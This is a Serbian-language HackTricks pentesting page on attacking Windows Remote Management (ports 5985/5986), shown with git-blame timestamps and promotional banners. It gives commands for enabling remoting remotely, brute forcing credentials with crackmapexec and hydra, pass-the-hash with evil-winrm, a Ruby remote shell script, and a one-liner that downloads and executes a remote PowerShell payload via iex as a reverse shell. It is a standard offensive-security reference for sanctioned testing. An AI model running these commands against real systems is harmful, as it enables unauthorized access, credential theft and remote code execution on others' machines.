hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

324 lines
15 KiB
Markdown
Raw Normal View History

# 5985,5986 - Testiranje sigurnosti WinRM
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-03 10:42:55 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
2023-02-27 09:28:45 +00:00
**Uvidi u Hakovanje**\
2024-02-10 13:11:20 +00:00
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
2023-02-27 09:28:45 +00:00
**Vesti o Hakovanju u Realnom Vremenu**\
2024-02-10 13:11:20 +00:00
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
2023-07-14 15:03:41 +00:00
**Najnovije Najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i bitnim ažuriranjima platformi
2023-07-14 15:03:41 +00:00
2024-02-10 13:11:20 +00:00
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) je istaknut kao **protokol od strane Microsoft-a** koji omogućava **udaljeno upravljanje Windows sistemima** putem HTTP(S), koristeći SOAP u procesu. Osnovno je pokretano od strane WMI, predstavljajući se kao interfejs zasnovan na HTTP-u za WMI operacije.
Prisustvo WinRM-a na mašini omogućava jednostavno udaljeno upravljanje putem PowerShell-a, slično kao što SSH funkcioniše za druge operativne sisteme. Da biste utvrdili da li je WinRM operativan, preporučuje se provera otvaranja određenih portova:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
Otvoren port sa liste iznad ukazuje da je WinRM podešen, omogućavajući pokušaje pokretanja udaljene sesije.
### **Pokretanje WinRM Sesije**
Za konfigurisanje PowerShell-a za WinRM, Microsoft-ov `Enable-PSRemoting` cmdlet dolazi u igru, postavljajući računar da prihvati udaljene PowerShell komande. Sa povišenim pristupom PowerShell-u, sledeće komande mogu biti izvršene kako bi se omogućila ova funkcionalnost i odredio bilo koji host kao pouzdan:
2024-02-08 21:36:35 +00:00
```powershell
2024-02-10 13:11:20 +00:00
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Ovaj pristup uključuje dodavanje zamenskog znaka konfiguraciji `trustedhosts`, korak koji zahteva oprezno razmatranje zbog njegovih implikacija. Takođe se primećuje da može biti potrebno promeniti tip mreže sa "Javna" na "Rad" na napadačevom računaru.
Štaviše, WinRM se može **aktivirati udaljeno** korišćenjem `wmic` komande, što je prikazano na sledeći način:
2024-02-08 21:36:35 +00:00
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Ovaj metod omogućava daljinsko podešavanje WinRM-a, poboljšavajući fleksibilnost u upravljanju Windows mašinama iz daljine.
### Testiranje konfiguracije
Da biste proverili konfiguraciju vaše napadačke mašine, komanda `Test-WSMan` se koristi za proveru da li je cilj pravilno konfigurisan za WinRM. Izvršavanjem ove komande, trebali biste očekivati detalje o verziji protokola i wsmid-u, što ukazuje na uspešnu konfiguraciju. U nastavku su primeri koji prikazuju očekivani izlaz za konfigurisani cilj u poređenju sa nekonfigurisanim:
2024-02-08 21:36:35 +00:00
* Za cilj koji **je** pravilno konfigurisan, izlaz će izgledati slično ovome:
2024-02-08 21:36:35 +00:00
```bash
Test-WSMan <target-ip>
```
2024-02-10 13:11:20 +00:00
### Izvršavanje komande
Da biste izvršili `ipconfig` udaljeno na ciljnom računaru i videli njegov izlaz uradite:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (151).png>)
Takođe možete **izvršiti komandu vaše trenutne PS konzole putem** _**Invoke-Command**_. Pretpostavimo da lokalno imate funkciju nazvanu _**enumeration**_ i želite da je **izvršite na udaljenom računaru**, možete to uraditi:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
2024-02-10 13:11:20 +00:00
### Izvršavanje skripte
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Dobijanje obrnutog školjkaša
2024-02-10 13:11:20 +00:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Dobijanje PS sesije
Za dobijanje interaktivne PowerShell ljuske koristite `Enter-PSSession`:
2022-09-26 12:02:10 +00:00
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
2022-10-30 16:20:17 +00:00
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
2024-02-10 13:11:20 +00:00
# Save session in var
2022-10-30 16:20:17 +00:00
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (1009).png>)
**Sesija će se izvršiti u novom procesu (wsmprovhost) unutar "žrtve"**
2024-02-10 13:11:20 +00:00
### **Prisiljavanje otvaranja WinRM-a**
Za korišćenje PS udaljenog upravljanja i WinRM-a, ali računar nije konfigurisan, možete ga omogućiti sa:
2024-02-08 21:36:35 +00:00
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
2024-02-10 13:11:20 +00:00
### Čuvanje i vraćanje sesija
Ovo **neće raditi** ako je **jezik** ograničen na udaljenom računaru.
2024-02-08 21:36:35 +00:00
```powershell
2022-09-26 12:02:10 +00:00
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
2022-09-25 22:00:52 +00:00
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Unutar ovih sesija možete učitati PS skripte koristeći _Invoke-Command_
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
2024-02-10 13:11:20 +00:00
### Greške
2024-02-10 13:11:20 +00:00
Ako pronađete sledeću grešku:
`enter-pssession : Povezivanje na udaljeni server 10.10.10.175 nije uspelo sa sledećom porukom o grešci : Klijent WinRM ne može obraditi zahtev. Ako je šema autentifikacije drugačija od Kerberosa, ili ako klijentsko računalo nije pridruženo domenu, tada se mora koristiti HTTPS prenos ili odredišnom računaru mora biti dodat u postavku konfiguracije TrustedHosts. Koristite winrm.cmd da konfigurišete TrustedHosts. Imajte na umu da računari na listi TrustedHosts možda nisu autentifikovani. Više informacija možete dobiti pokretanjem sledeće komande: winrm help config. Za više informacija, pogledajte temu pomoći about_Remote_Troubleshooting.`
2024-02-10 13:11:20 +00:00
Pokušajte na klijentu (informacije sa [ovde](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
2022-10-27 23:22:18 +00:00
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
2023-02-27 09:28:45 +00:00
**Najnovije najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme
2023-07-14 15:03:41 +00:00
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
2022-10-27 23:22:18 +00:00
## WinRM konekcija u Linuxu
2022-07-28 09:46:19 +00:00
### Brute Force
2020-09-20 21:44:41 +00:00
Budite oprezni, pokušaji brute-force napada na WinRM mogu blokirati korisnike.
2020-09-20 21:41:33 +00:00
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
2022-05-01 12:49:36 +00:00
# Username + Password + CMD command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
2022-05-01 12:49:36 +00:00
# Username + Hash + PS command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
2020-09-20 21:41:33 +00:00
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
2024-02-10 13:11:20 +00:00
### Korišćenje evil-winrm
```ruby
2024-02-10 13:11:20 +00:00
gem install evil-winrm
```
Pročitajte **dokumentaciju** na njegovom githubu: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
2024-02-10 13:11:20 +00:00
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Da biste koristili evil-winrm za povezivanje sa **IPv6 adresom**, kreirajte unos unutar _**/etc/hosts**_ postavljajući **imenik domena** na IPv6 adresu i povežite se sa tim domenom.
### Prosledite heš sa evil-winrm
2024-02-10 13:11:20 +00:00
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
### Korišćenje PS-docker mašine
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
2024-02-10 13:11:20 +00:00
### Korišćenje ruby skripte
**Kod izdvojen odavde:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
2024-02-05 02:28:59 +00:00
# https://alamot.github.io/winrm_shell/
2024-02-10 13:11:20 +00:00
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
2024-02-10 13:11:20 +00:00
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
2024-02-10 13:11:20 +00:00
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
2022-07-28 09:46:19 +00:00
## Shodan
2020-10-05 21:51:08 +00:00
* `port:5985 Microsoft-HTTPAPI`
2024-02-10 13:11:20 +00:00
## Reference
2022-10-27 23:22:18 +00:00
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
2021-08-15 17:09:57 +00:00
Entry_1:
2024-02-10 13:11:20 +00:00
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
2021-08-15 17:09:57 +00:00
2024-02-10 13:11:20 +00:00
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
2021-08-15 17:09:57 +00:00
2024-02-10 13:11:20 +00:00
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
2021-08-15 17:09:57 +00:00
2024-02-10 13:11:20 +00:00
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
2021-08-15 17:09:57 +00:00
2024-02-10 13:11:20 +00:00
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
2021-08-15 17:09:57 +00:00
2024-02-10 13:11:20 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-winrm
2021-09-13 15:49:25 +00:00
Entry_2:
2024-02-10 13:11:20 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
2024-02-10 13:11:20 +00:00
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
2022-10-27 23:22:18 +00:00
2024-02-10 13:11:20 +00:00
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa dinamičnim svetom hakovanja kroz vesti i uvide u realnom vremenu
2023-02-27 09:28:45 +00:00
**Najnovije najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i ključnim ažuriranjima platformi
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-03 10:42:55 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>